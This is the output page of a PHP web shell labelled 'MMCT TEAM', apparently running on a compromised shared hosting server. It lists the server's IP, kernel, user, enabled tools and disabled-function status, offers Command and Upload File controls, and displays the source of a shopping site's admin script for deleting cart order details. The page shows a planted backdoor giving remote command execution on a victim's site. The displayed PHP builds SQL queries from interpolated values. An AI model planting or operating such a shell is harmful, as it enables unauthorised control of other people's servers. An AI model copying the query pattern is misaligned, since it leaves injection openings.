MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/agriba/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/agriba/admin/deletecartvalue.php
<?php
include'dbc.php';
$sql6=mysqli_query($conn,"select order_id from tbl_order where cart_status= '0'") or die(mysqli_query($conn));
                   while ($row6=mysqli_fetch_assoc($sql6))
                   {
                   	 $order_orderid=$row6['order_id']; 

                   	 	$sql7=mysqli_query($conn,"select product_id from tbl_order_details where order_id= '$order_orderid'") or die(mysqli_query($conn));
                        while ($row7=mysqli_fetch_assoc($sql7))
                        {
                        	echo $orderdetails_productid=$row7['product_id'];

                        	$del=mysqli_query($conn,"delete from tbl_order_details where product_id='$orderdetails_productid' and order_id='$order_orderid'");
                        }	

                   }	 
?>

MMCT - 2023